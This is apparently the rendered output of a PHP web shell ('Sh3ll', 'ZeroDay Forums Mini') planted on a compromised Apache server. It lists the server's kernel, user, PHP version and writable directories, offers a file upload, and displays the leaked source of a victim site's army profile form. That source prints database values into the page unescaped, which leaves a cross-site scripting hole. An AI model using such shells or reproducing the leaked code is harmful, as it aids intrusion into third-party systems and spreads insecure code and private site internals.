Sh3ll
OdayForums


Server : Apache
System : Linux profile 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 8.0.28
Disable Function : NONE
Directory :  /var/www/html/venkat/army1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/venkat/army1/add.php
<?php
//echo $r;
include("personal.php");
//include("db1.php");
//include("session.php");


$sql = $conn->prepare("SELECT * FROM armypost");
//$sql->bindValue(':rollno',$id);
$sql->execute();
//$row = $sql->rowCount();
//if($row > 0) {
?>
<!--<center> <h2> Army-Allahabad </h2> </center>-->
	 <div align = "center"> <br><form method = "post" action = "addsubmit.php">
	   <table>
		

		<colspan = "3"> <td> <b> SUBMIT PROFILE DETAILS </b> </td> </tr>
			<tr>
		<td> <br> ARMY ID </td> <td> <br> : </td> <td> <br>  <input type = "text" name = "armyid"> </td></tr>
        	<tr><td> <br> NAME </td> <td> <br> : </td> <td> <br>  <input type = "text" name = "name">  </td></tr>
		<tr> <td> <br> DESIGNATION </td> <td> <br> : </td>
		<?php
		echo("<td><br> <select name='designation' id='designation' />");
		echo("<option value='#'>-Select-</option>");
		while ($row = $sql->fetch()) {
		        $m=$row['post'];
		        echo("<option value=$m>$m</option>");
		}
		echo("</select></tr>");
		?>


		<tr colspan = "3">
	   		<td> <br> <input type = "submit" value = "Submit"> </td>
		</tr>
	    </table>
	    </form> 
	   </div>
<?php

?>

ZeroDay Forums Mini